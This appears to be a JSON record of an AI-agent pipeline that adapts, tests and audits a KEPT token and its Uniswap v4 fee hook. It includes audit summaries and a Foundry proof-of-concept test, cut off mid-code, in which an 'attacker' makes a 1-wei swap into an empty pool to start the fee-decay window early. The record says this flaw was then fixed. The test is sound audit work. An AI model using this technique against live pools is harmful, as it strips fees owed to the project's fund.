{"assessments":[],"deployments":[],"fuzz":[],"identity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"interpretation":"Records acceptance and evidence. Neither completion nor an AI assessment establishes correctness, safety, or independent review.","jobId":"90e5d04f-b6a2-4b4e-8d9b-930ea7b475eb","kind":"shape:chain","nodes":[{"acceptedSubmissionHash":"105f7daf753d211bbab3319e5212b944203c2fc569c877d55fa055c587772656","dependsOn":["audit_imported_code"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"2d7d84a1a9972f1497e5bc68a704cbf42294d08c62d2868f102ffe3b909b9b51","skillId":"adapt-contract-project","tools":[]},"key":"adapt_contract_project","kind":"code","role":"implement","skillHash":"2d7d84a1a9972f1497e5bc68a704cbf42294d08c62d2868f102ffe3b909b9b51","skillId":"adapt-contract-project","state":"accepted"},{"acceptedSubmissionHash":"6ee6e03f73276090978181bcb071569d6a094866c92baf019b1cb5e34113715a","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_economics","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"ca8fe15bd8182208e521277842fd31ad196382b0aff8b2c3bff0c3aedaa9fe43","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_flow","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"c833cc8a325eb81573fb70bb786338436a867fd95e604ed498b8fb2db07ac059","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"9897597976b0e72440db7ca402d225aea20f3d37205ba53e7df2400ff80f29cc","skillId":"audit-imported-code","tools":[]},"key":"audit_imported_code","kind":"code","role":"review","skillHash":"9897597976b0e72440db7ca402d225aea20f3d37205ba53e7df2400ff80f29cc","skillId":"audit-imported-code","state":"accepted"},{"acceptedSubmissionHash":"4c25bb71733ee5dbafa62a8da4e19cca46058a61886de816a264d3b4e59a487c","dependsOn":["adapt_contract_project","write_foundry_tests","manifest","audit_math","audit_permissions","audit_economics","audit_flow"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"af3aa01159bbf354f621cafa5c0006f6169e0938a8b015be508b7377dbf165bc","skillId":"audit-judge","tools":[]},"key":"audit_judge","kind":"code","role":"review","skillHash":"af3aa01159bbf354f621cafa5c0006f6169e0938a8b015be508b7377dbf165bc","skillId":"audit-judge","state":"accepted"},{"acceptedSubmissionHash":"45bf025264656262a4311aa859c5f8bca574493bb3a65526ab0048d9efe53b56","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_math","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"c178f0178d369470a8e9035b3ca5de65289c1a487b5c22811badd60ae7365282","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_permissions","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"148203472624c10851b302b675138ba1fb26a76ad71113695cef4784b791ac37","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"tools":[]},"key":"manifest","kind":"code","role":"integrate","skillHash":null,"skillId":null,"state":"accepted"},{"acceptedSubmissionHash":"73ddbef33839008cf97ac518a547641f3ea070c56f20e62818170756e0434b14","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"4c76766b00591dfe982fe85d3de589fdb2f810e5137c301155d1c5e36a1d3b23","skillId":"write-foundry-tests","tools":[]},"key":"write_foundry_tests","kind":"code","role":"tests","skillHash":"4c76766b00591dfe982fe85d3de589fdb2f810e5137c301155d1c5e36a1d3b23","skillId":"write-foundry-tests","state":"accepted"}],"objective":"Launch the KEPT token with its Uniswap v4 hook on Robinhood Chain (chain id 4663), paired with IMD, from this repository with no changes to the production source unless an audit finding requires one. Token: src/KeptToken.sol, name KEPT, symbol KEPT, 18 decimals, fixed 1,000,000,000 supply minted to its deployer, no constructor arguments, no owner, mint, tax or pause. Hook: src/KeptHook.sol, constructor arguments in order: $poolManager; IMD on Robinhood 0x5f7bb59365ce557c26dbcaa4ee9d39a4b95b7127; $token; the deployed KeptVault 0x3152f9cbf64d0c1ac24ea7e101db3e4d8da86896; $factory. Permissions beforeInitialize, beforeSwap, afterSwap, beforeSwapReturnDelta, afterSwapReturnDelta (flags 0x20cc), CREATE2-mined. Pool fee 12500, tick spacing 60. Only the launch factory may initialize the pool. The hook charges IMD on the IMD leg of each swap (20% at opening decaying to 1% over 30 minutes, then 1%) as ERC-6909 claims; anyone can sweep() them into the KeptVault Referee Fund. No owner, proxy or upgrade path. Tests: forge test (offline); docs/VERIFICATION.md records a Robinhood fork rehearsal on the live PoolManager.","parentJobId":null,"planHash":"2dee2e4d91d88becd06ff04112eb5307dc412ff50b8f23b1a7c2441136b294a5","previousHash":"0000000000000000000000000000000000000000000000000000000000000000","projectId":"90e5d04f-b6a2-4b4e-8d9b-930ea7b475eb","publication":{"commit":null,"deliveredAt":null,"repoUrl":"https://github.com/identity-md-launches/launch-2185-launch-kept-token-uniswap"},"receiptIdentity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"registry":"0xb6d0a187b050fa5bb0b87033a203f37becf4a775","research":[],"schema":"identitymd-work-v1","signals":[{"agentId":"51027","feedbackHash":"f8fd9469807e4273334ed0f4901241520814c54221ec9354cda229feff9c917a","nodeKey":"adapt_contract_project","submissionHash":"d4537e949ef030241ec448b46e01d02588de07c06741ddd776de4d5ddc9f32ee","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"52145","feedbackHash":"e2da8ada0b161b53cdc376b7975fa60a34bd7b2631971b08f8b39f95d71f7dc1","nodeKey":"adapt_contract_project","submissionHash":"105f7daf753d211bbab3319e5212b944203c2fc569c877d55fa055c587772656","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"51891","feedbackHash":"843075d91e803aaee2341678e1bdc0ddaeb11b6fcf5e4e2ce2a4963c6c4c24ec","nodeKey":"audit_economics","submissionHash":"6ee6e03f73276090978181bcb071569d6a094866c92baf019b1cb5e34113715a","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51484","feedbackHash":"534a012b1f38af78ea376d835e78ef4e6329ffb8cc891f079a08700b87245175","nodeKey":"audit_flow","submissionHash":"ca8fe15bd8182208e521277842fd31ad196382b0aff8b2c3bff0c3aedaa9fe43","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52165","feedbackHash":"01ba964ec3e74ff00bba4ede465d6dd57d67d8c48ee3328a12db1161876e86c5","nodeKey":"audit_imported_code","submissionHash":"c833cc8a325eb81573fb70bb786338436a867fd95e604ed498b8fb2db07ac059","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"50903","feedbackHash":"a3559a3ed658369609c5278d7b1aa21ddacfa0ce9ef904ac5e06f82824eaa25a","nodeKey":"audit_judge","submissionHash":"52ea03b8ef641d6d157e4cb1ed72634e1a7ecfbd3718ec9f33d0789fcf8b9fb2","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"54154","feedbackHash":"68913f5df8fe5ba27a9b600d65bdb8114c94fa40d6ec2b85a697cf3424ac320f","nodeKey":"audit_judge","submissionHash":"4c25bb71733ee5dbafa62a8da4e19cca46058a61886de816a264d3b4e59a487c","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51744","feedbackHash":"5bde8a5d7bd848e136fb832e702bc178415b3e8c624bb26b64164e59e6100d25","nodeKey":"audit_math","submissionHash":"45bf025264656262a4311aa859c5f8bca574493bb3a65526ab0048d9efe53b56","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52587","feedbackHash":"5cb7fd21e8927769aa9fac0ecbfb28f68a0465c47780b5bf1beb01c50cd20818","nodeKey":"audit_permissions","submissionHash":"c178f0178d369470a8e9035b3ca5de65289c1a487b5c22811badd60ae7365282","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52289","feedbackHash":"7f03def0e3a3daf57750490676d5f9e0af69fa34af59558fc86abe6a4ac0f65a","nodeKey":"manifest","submissionHash":"adbe371a9bf3c565de8fb0aab94b263f39d65deeaf5075ce0a292eb2787e0fdd","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"52250","feedbackHash":"68a2f55daaa77a3136fd170ec5ed3b3445ae0329048e09e0beb0fd804e902585","nodeKey":"manifest","submissionHash":"148203472624c10851b302b675138ba1fb26a76ad71113695cef4784b791ac37","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"51039","feedbackHash":"bb10d95692ce230f7b43367eae769401a6568804b15a7e7a81032276c79d679b","nodeKey":"write_foundry_tests","submissionHash":"73ddbef33839008cf97ac518a547641f3ea070c56f20e62818170756e0434b14","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"51104","feedbackHash":"a622f68523d29a78ff0af3b9363c746bd1bacb3f517743d0c0992d92fc7d51b7","nodeKey":"write_foundry_tests","submissionHash":"cdbe70deee8cf276646e70ce070a64b4a69ed2ce2880318b54eb60621e2e9c80","tag1":"verification:checks","tag2":"acceptance-v2","value":1}],"site":null,"snapshotHash":"6ef2d3bbd380fb6a3f879698599563b5cc0b4dc026d5049b6fa474294d17339f","state":"completed","submissions":[{"artifacts":[],"attempt":1,"bundleHash":"3c88955b1dbe908f95e27ed236b33b7281898d8d8acc5f514e953fd512bb5abf","device":"e02bec63aa9dcaa5","findings":[],"hash":"105f7daf753d211bbab3319e5212b944203c2fc569c877d55fa055c587772656","nodeId":"5d7b16a4-f321-4150-8c86-eb6d59a6b8df","outcome":"completed","summary":"The responses file is in place at the repository root, and the harness's own exclude rule ignores it from git, which is the expected handling.\n\n**Outcome.** Both reopened findings reproduced. The hook defect is fixed with tests and a fresh fork rehearsal. The vault finding is disputed as a proof and documented instead, because it targets the live, immutable KeptVault that this launch does not deploy.\n\n**Finding 277d240e, fixed in `src/KeptHook.sol`.** A 1-wei exact-input IMD swap is entirely fee, so the hook quoted zero to the pool, the full-fill shortcut matched zero against zero, and the window opened on a pool that had moved nothing. `_accrue` now takes a \"moved\" flag and sets `openedAt` only when the pool actually filled IMD. The wei is still charged, which the accepted seeded-pool dust test already asserts. No ABI, event or constructor change.\n\n- New `KeptHookOpeningTest` plus a token-first variant replay the reviewer's scenario and the seeded-pool case.\n- The fixture now asserts on every checked swap and fuzz run that the clock moves exactly when the manager's Swap event carries nonzero IMD.\n- The fork rehearsal sends the 1-wei swap on the live PoolManager before seeding.\n- The reviewer's proof passes on the result.\n\n**Finding fc2c2fe5, disputed.** The proof fails on a fresh vault as described. But it asserts a new rebate rule for `KeptVault`, whose live runtime I hashed from chain today and matched to the repository's recorded build. The brief fixes that address as the hook's sink, so a source patch would change nothing on chain while making the repo misdescribe the live contract. I took the reviewer's other offered resolution: README and SPEC now describe the Referee Fund as a public subsidy for oracle checks of any kept milestone, including trivially true junk pledges.\n\n**Advisory aea5e300.** Documented in the README as a trust assumption, as the finding itself recommended. No code change.\n\n**Checks run.**\n\n| Check | Result |\n| --- | --- |\n| `forge build --offline` | passes |\n| `forge test --offline` with the verifier's seed | 157 passed, 0 failed, 1 skipped (fork suite offline) |\n| Fork rehearsal at Robinhood block 92,064,204 | 2 passed |\n| `forge fmt --check` on changed Solidity files | passes |\n\nThe only failing test anywhere is the disputed vault proof under `test/scratch/`, which is deleted before verification. One build quirk worth knowing: the via-IR compile hit a stack-too-deep error when the new tests sat inside the main `KeptHookTest` contract, so they live in their own contract in the same file. All six finding ids, including the three imported audit findings, are answered in `.imd-responses.json`, and ADAPTATION.md and docs/VERIFICATION.md record the revision.","treeHash":"69068a42e21a181d28cd94ea12a413ed3a7d6d2f","usage":{"cachedInputTokens":3930843,"inputTokens":1122,"model":"claude-fable-5-1","outputTokens":50355,"runtime":"claude","turns":67,"wallClockMs":2084031}},{"artifacts":[],"attempt":1,"bundleHash":"c46becc9f61cf1c0fdab151c3f9b688e187eb0beda95d59647559e875a670ee3","device":"fc87c05048aca47d","findings":[],"hash":"148203472624c10851b302b675138ba1fb26a76ad71113695cef4784b791ac37","nodeId":"f4a7e7c5-eb96-4fe7-a0a5-d3e37a6353e6","outcome":"completed","summary":"The revision is done. Only launch.json changed.\n\n**What I found.** The brief listed no findings, so I verified the existing manifest against the accepted source. The hook's constructor order and getHookPermissions match the manifest exactly, the token fields match KeptToken, and the pool block carries the launch facts verbatim. Two facts in the notes had gone stale against docs/VERIFICATION.md.\n\n**What I changed, notes only:**\n- Offline test count updated from the old figure to the current run, which I reproduced locally with the verifier's fuzz seed.\n- Fork rehearsal block updated to the pinned block the verification record now cites, and the rehearsal description tightened to say the factory alone initializes and that sweep is third-party.\n- One sentence added that an empty-pool swap is charged but does not start the decay window, matching the accepted revision in the hook and its tests.\n\n**Checks run:**\n\n| Check | Result |\n| --- | --- |\n| forge build | passes |\n| forge test with FOUNDRY_FUZZ_SEED=0x1cac… | 157 passed, 0 failed, 1 skipped |\n| Manifest validation script | kind first, notes 2750 chars, addresses lowercase, args and permissions match source |\n| git status | only launch.json modified |\n\nNothing is blocked and no placeholder gap exists. The manifest is ready for the schema check and review.","treeHash":"16fbb412fb9311d3e4be54aaae303792c3e0a276","usage":{"cachedInputTokens":274518,"inputTokens":226,"model":"claude-fable-5-1","outputTokens":4289,"runtime":"claude","turns":9,"wallClockMs":198005}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"81314195390981c7","findings":[{"citation":"resolved","description":"Boundary x precision x invariant seam. For an exact-input swap where IMD is the specified side and requested = 1, reserve = ceil(1*rate/10_000) = 1 at every rate, so budget - reserve = 0. The quote of amountSpecified 0 returns fill = 0 from SpecifiedAmount.filled (line 44: the loop does not run). The test `fill == budget - reserve` is then 0 == 0 and charges the full reserve. _accrue(1) sets openedAt (lines 173-175), even though the pool moved nothing and may have no liquidity. PoolManager accepts this: Pool.swap returns ZERO_DELTA for amountToSwap == 0 before it checks liquidity or the price limit. The README (lines 32-33) and the comment at KeptHook.sol:44-45 promise that 'the opening window cannot elapse before the pool holds liquidity anyone can trade against' and that 'liquidity seeded after initialization still opens at 20%'. test_noLiquidityNoFee checks only a 1e18 swap (fill 0 != 0.8e18 gives fee 0), so it misses the 1-wei edge. Impact depends on the launch: the README says the factory deploys, initializes and holds liquidity in one transaction. If seeding is atomic there is no empty-pool window. If it is not atomic, anyone can pay 1 wei to cut the anti-snipe fee from 20% to 1% by the time trading starts, and the Referee Fund loses up to 19% of opening IMD volume. Minimal fix: start the clock only when the pool actually traded, e.g. in beforeSwap open only when fill != 0, or have _accrue take a flag and skip setting openedAt when fill == 0. The dust fee can stay.","line":144,"path":"src/KeptHook.sol","reproduction":"Use the HookFixture setup (real PoolManager, hook at a 0x20cc address, pool initialized by the factory at sqrtPrice 2^96). (1) Remove the fixture's liquidity: router.seed(key, -600, 600, -1e27), so the pool is empty, as it would be between initialize and seeding. (2) At t = OPEN, router.swap(key, SwapParams{zeroForOne: imd is currency0, amountSpecified: -1, sqrtPriceLimitX96: getSqrtPriceAtTick(-1200)}), an exact-in buy of 1 wei of IMD. (3) Read state. Actual (ran locally with forge): hook.collected() == 1, hook.openedAt() == 10000 (OPEN), the Opened event is emitted, and after vm.warp(OPEN+1800) plus seeding 1e27 liquidity hook.feeNow() == 100 (1%). Expected: openedAt == 0 and feeNow() == 2000 until the first swap against liquidity. A 2-wei swap does not trigger this, because fill 0 != budget-reserve 1 gives fee 0.","severity":"low","snippet":"            fee = requested == budget && fill == budget - reserve ? reserve : _feeOf(fill, rate, BPS - rate);","title":"A 1-wei exact-input IMD swap into an empty pool charges 1 wei and starts the 30-minute opening clock with no liquidity"}],"hash":"45bf025264656262a4311aa859c5f8bca574493bb3a65526ab0048d9efe53b56","nodeId":"76b3067a-2897-4205-be4e-93f25988ef7d","outcome":"completed","summary":"I found one low-severity defect in the hook's fee math. Nothing else in the math area turned up a defect I could reproduce. Findings and coverage are in `.imd-findings.json`: 1 finding and 25 coverage rows, covering all 22 listed entry points plus 3 invariants. No repository files were changed; the scratch test I used is deleted.\n\n**Finding (low): `src/KeptHook.sol:144`**\n- **What happens:** an exact-input IMD swap of exactly 1 wei, made while the pool has no liquidity, is charged 1 wei and starts the 30-minute opening clock.\n- **Why:** at 1 wei, the reserved fee rounds up to the whole amount (1 wei), so the amount actually quoted is 0. The quote then returns a fill of 0, which matches the check `fill == budget - reserve` (0 == 0), so the hook charges the reserve. That sets `openedAt`, even though the pool traded nothing.\n- **What I saw:** in a local test on the real PoolManager with liquidity removed, `openedAt` became 10000 and `collected` became 1. After waiting 30 minutes and then adding liquidity, `feeNow()` was 100 (1%). It should have stayed at 2000 (20%).\n- **Which promise this breaks:** the README and the comment at `KeptHook.sol:44-45` say the window cannot elapse before the pool has tradeable liquidity.\n- **Why only low:** the README says the factory deploys, initializes and holds liquidity in one transaction. If liquidity really is added in that same transaction, nobody can swap into an empty pool. If it isn't, anyone can spend 1 wei to drop the opening fee from 20% to 1%. That would cost the Referee Fund up to 19% of the opening IMD volume.\n- **Suggested fix:** only start the clock when the fill is non-zero. The 1-wei dust fee can stay.\n\n**What checks out:**\n- **Hook fee math:** I checked both specified-side modes, on full and partial fills. With a full fill, the exact-output fee always equals the reserve. The fee never exceeds the swap amount or the rounded-up gross rate, and the 128-bit casts can't overflow.\n- **The hook's swap quote (`SpecifiedAmount.filled`):** compared line by line against the v4 `Pool.swap` code in `lib/v4-core`, it produces the same fill.\n- **Vault arithmetic:** the referee fund and the per-pledge budgets move together, the 128-bit downcast is guarded, and nothing underflows.\n- **Token:** the unchecked arithmetic is safe because the supply is fixed.\n- **Static-analysis leads** (strict equalities, divide-before-multiply in the date formatting, `sweep()` reentrancy): I traced each one and none is a real defect.\n\n**Limits:**\n- I reviewed the vault mainly for arithmetic, not its oracle or signature logic.\n- I didn't model swaps of more than about 1.7e20 IMD, where the hook caps the quoted amount. That is far beyond any realistic supply.","treeHash":null,"usage":{"cachedInputTokens":982292,"inputTokens":30,"model":"claude-opus-5-5","outputTokens":19334,"runtime":"claude","turns":17,"wallClockMs":221482}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"f9a9196633a6ffa8","findings":[],"hash":"4c25bb71733ee5dbafa62a8da4e19cca46058a61886de816a264d3b4e59a487c","nodeId":"22136e0f-014b-488c-8cde-dd96fac1a408","outcome":"completed","summary":"Review complete. The findings file at `.imd-findings.json` holds an empty findings list, a settlement record for the three prior items, and 24 coverage rows (all 22 entry points plus the manifest and the opening-window invariant). The scratch directory is removed and the tree is otherwise untouched.\n\n**Prior findings settled**\n\n- **1-wei empty-pool swap opening the window (medium): fixed.** The hook's `_accrue` now takes a \"moved\" flag, set from a nonzero quote fill in beforeSwap and a nonzero pool IMD delta in afterSwap, and sets `openedAt` only then. The attached proof passes on the revised code, the new opening tests cover both the empty and seeded 1-wei cases in both currency orders, and the fixture asserts on every checked swap that the clock moves exactly when the manager's Swap event carries IMD.\n- **Referee Fund rebates to junk pledges (medium): settled by documentation, not restated.** The proof still fails on the vault source, as the author acknowledged. But the vault is not deployed by this launch and cannot change. I re-read it on chain today: the runtime is 21,509 bytes with the same hash the verification record gives, and the Referee Fund is empty. My finding offered documenting the fund as a public subsidy as one of two resolutions, and the README, spec and adaptation notes now say so plainly, including the junk-pledge case and the Intake-quoted price. Pointing sweep elsewhere would contradict the brief.\n- **Vault owner custody of fees (low, advisory): fixed by documentation.** The README states the EOA owner, the seven-day notice and the uncapped rebate next to the fee destination. I confirmed the owner address has no code.\n\n**Verification run**\n\n- Full offline suite: 205 passed, 0 failed, 1 skipped (fork suite).\n- Fork rehearsal on the live Robinhood PoolManager: 2 passed, including the pre-seed 1-wei swap, late seeding at 20%, and a third-party sweep into the live vault.\n- Manifest checked against the schema rules: constructor argument order, lowercase addresses, permissions matching `getHookPermissions`, fee and spacing, decimal price, notes under the length limit.\n\n**Nothing new reported.** I re-read the changed hook lines and the static-analysis leads. The strict-equality and timestamp lines are the intended window and fee logic, the sweep reentrancy lead is guarded by the sweeping flag and unlock check, and the only lead I could construct beyond the prior findings (someone adding dust liquidity to pre-open the window) requires KEPT, which only the factory holds before the seed, so it does not reproduce in the launch model.","treeHash":null,"usage":{"cachedInputTokens":723010,"inputTokens":290,"model":"claude-fable-5-1","outputTokens":16042,"runtime":"claude","turns":18,"wallClockMs":579471}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"523ef565dd740e25","findings":[{"citation":"resolved","description":"Merged from audit_math (low), write_foundry_tests (medium) and audit_economics (medium): one root cause. In beforeSwap's exact-input branch with IMD specified and requested == 1, reserve = ceil(1 * rate / 10_000) = 1 at every rate (20% down to 1%), so quote.amountSpecified = -(1 - 1) = 0. SpecifiedAmount.filled returns 0 for a zero quote (its loop never runs), which equals budget - reserve = 0, so the shortcut on line 144 charges the whole reserve (1 wei). _accrue(1) (lines 171-176) then sets openedAt = block.timestamp and emits Opened. The PoolManager receives amountToSwap = -1 + 1 = 0 and returns ZERO_DELTA without touching the pool, so no IMD moved through it and the pool needs no liquidity at all. This contradicts the hook's own invariant at lines 44-45 ('Zero until then, so the opening window cannot elapse before the pool holds liquidity anyone can trade against'), README.md lines 32-33 ('liquidity seeded after initialization still opens at 20%') and docs/VERIFICATION.md ('an empty-pool swap does not start it'). The committed tests test_openingClockNeedsAnIMDLeg and test_noLiquidityNoFee only try 1e18 wei, where fill (0) != budget - reserve and the fee is 0, so they miss the 1-wei edge. Impact depends on the factory's launch sequence, which is not in front of me: if the factory initializes the pool and seeds liquidity in the same transaction there is no window to pre-start; if liquidity lands in a later transaction (the sequence the README's 'seeded after initialization' wording and the fork rehearsal describe), anyone holding 1 wei of IMD can start the decay in the block after initialize, and a seed 30 minutes later opens real trading at 1% instead of 20%: a 1,000 IMD opening buy then pays 10 IMD to the Referee Fund instead of 200 IMD, the 19% difference staying with the sniper. Rated medium as a broken documented guarantee whose loss is conditional. Note that the 1-wei charge on a pool that holds liquidity is intended (test/KeptHook.t.sol line 86 asserts '1 wei in at 20%: the whole wei is fee'), so the fix should key on the pool having moved nothing, e.g. in beforeSwap charge no fee (and so never open) when fill == 0 and poolManager.getLiquidity(key.toId()) == 0, or pass a flag to _accrue so openedAt is set only when the quote filled a nonzero amount. The attached proof asserts only openedAt and feeNow, so it passes under either fix.","line":144,"path":"src/KeptHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {IUnlockCallback} from \"v4-core/src/interfaces/callback/IUnlockCallback.sol\";\nimport {IERC20Minimal} from \"v4-core/src/interfaces/external/IERC20Minimal.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"v4-core/src/types/Currency.sol\";\nimport {BalanceDelta} from \"v4-core/src/types/BalanceDelta.sol\";\nimport {SwapParams, ModifyLiquidityParams} from \"v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\nimport {StateLibrary} from \"v4-core/src/libraries/StateLibrary.sol\";\nimport {KeptToken} from \"src/KeptToken.sol\";\nimport {KeptHook} from \"src/KeptHook.sol\";\n\ncontract ScratchERC20 {\n    uint256 public totalSupply;\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n\n    function mint(address to, uint256 amount) external {\n        balanceOf[to] += amount;\n        totalSupply += amount;\n    }\n\n    function approve(address spender, uint256 amount) external returns (bool) {\n        allowance[msg.sender][spender] = amount;\n        return true;\n    }\n\n    function transfer(address to, uint256 amount) external returns (bool) {\n        balanceOf[msg.sender] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n\n    function transferFrom(address from, address to, uint256 amount) external returns (bool) {\n        if (allowance[from][msg.sender] != type(uint256).max) allowance[from][msg.sender] -= amount;\n        balanceOf[from] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n}\n\n/// @dev Minimal router: swaps or adds liquidity, then settles exactly what the manager reports.\ncontract ScratchRouter is IUnlockCallback {\n    IPoolManager public immutable manager;\n\n    constructor(IPoolManager m) {\n        manager = m;\n    }\n\n    function swap(PoolKey memory key, SwapParams memory p) external returns (BalanceDelta) {\n        return abi.decode(manager.unlock(abi.encode(uint8(0), msg.sender, key, abi.encode(p))), (BalanceDelta));\n    }\n\n    function seed(PoolKey memory key, int24 lower, int24 upper, int256 liquidity) external {\n        ModifyLiquidityParams memory p = ModifyLiquidityParams(lower, upper, liquidity, bytes32(0));\n        manager.unlock(abi.encode(uint8(1), msg.sender, key, abi.encode(p)));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        require(msg.sender == address(manager), \"manager only\");\n        (uint8 action, address payer, PoolKey memory key, bytes memory payload) =\n            abi.decode(data, (uint8, address, PoolKey, bytes));\n        BalanceDelta delta;\n        if (action == 0) {\n            delta = manager.swap(key, abi.decode(payload, (SwapParams)), \"\");\n        } else {\n            (delta,) = manager.modifyLiquidity(key, abi.decode(payload, (ModifyLiquidityParams)), \"\");\n        }\n        _settle(key.currency0, delta.amount0(), payer);\n        _settle(key.currency1, delta.amount1(), payer);\n        return abi.encode(delta);\n    }\n\n    function _settle(Currency c, int128 delta, address payer) private {\n        if (delta < 0) {\n            manager.sync(c);\n            require(\n                IERC20Minimal(Currency.unwrap(c)).transferFrom(payer, address(manager), uint256(-int256(delta))),\n                \"transfer\"\n            );\n            manager.settle();\n        } else if (delta > 0) {\n            manager.take(c, payer, uint128(delta));\n        }\n    }\n}\n\n/// @title A 1-wei exact-input IMD swap on the empty pool starts the 30-minute opening window.\n/// @notice Fails on the current KeptHook: beforeSwap quotes 0, SpecifiedAmount.filled returns 0,\n/// `fill == budget - reserve` (0 == 0) charges the whole 1-wei reserve, and _accrue sets openedAt\n/// although the PoolManager swapped nothing (amountToSwap == 0). Passes once a swap that moves no\n/// IMD through the pool no longer opens the window (e.g. no fee / no openedAt when fill == 0).\ncontract EmptyPoolOpensWindowTest is Test {\n    using StateLibrary for IPoolManager;\n\n    uint160 internal constant ONE = 79228162514264337593543950336;\n    uint256 internal constant T0 = 10_000;\n\n    IPoolManager internal manager;\n    KeptToken internal kept;\n    ScratchERC20 internal imd;\n    KeptHook internal hook;\n    ScratchRouter internal router;\n    PoolKey internal key;\n    address internal attacker = makeAddr(\"attacker\");\n\n    function setUp() public {\n        vm.warp(T0);\n        manager = IPoolManager(address(new PoolManager(address(this))));\n        kept = new KeptToken();\n        imd = new ScratchERC20();\n        address at = address(uint160(0x5c7a7c480000000000000000000000000000) << 14 | uint160(0x20cc));\n        deployCodeTo(\n            \"KeptHook.sol:KeptHook\",\n            abi.encode(manager, address(imd), address(kept), address(0xBEEF), address(this)),\n            at\n        );\n        hook = KeptHook(at);\n        bool imd0 = address(imd) < address(kept);\n        key = PoolKey(\n            Currency.wrap(imd0 ? address(imd) : address(kept)),\n            Currency.wrap(imd0 ? address(kept) : address(imd)),\n            12500,\n            60,\n            IHooks(at)\n        );\n        // The factory (this test) initializes the pool; liquidity is seeded in a later transaction.\n        manager.initialize(key, ONE);\n        router = new ScratchRouter(manager);\n        imd.mint(address(this), 1e30);\n        imd.approve(address(router), type(uint256).max);\n        kept.approve(address(router), type(uint256).max);\n        imd.mint(attacker, 1);\n        vm.prank(attacker);\n        imd.approve(address(router), type(uint256).max);\n    }\n\n    function test_oneWeiSwapOnEmptyPoolMustNotOpenTheWindow() public {\n        assertEq(hook.openedAt(), 0);\n        assertEq(hook.feeNow(), 2000);\n        assertEq(manager.getLiquidity(key.toId()), 0, \"pool is empty\");\n\n        // Attacker: exact-in 1 wei of IMD against the empty pool, right after initialize.\n        SwapParams memory p;\n        p.zeroForOne = key.currency0 == Currency.wrap(address(imd));\n        p.amountSpecified = -1;\n        p.sqrtPriceLimitX96 = TickMath.getSqrtPriceAtTick(p.zeroForOne ? int24(-1200) : int24(1200));\n        vm.prank(attacker);\n        router.swap(key, p);\n\n        // No IMD moved through the pool, so the window must still be closed.\n        assertEq(hook.openedAt(), 0, \"a swap that moves no IMD through the pool must not open the window\");\n\n        // Thirty minutes later the factory seeds liquidity: the first real trade must still pay 20%.\n        vm.warp(T0 + 1800);\n        router.seed(key, -600, 600, 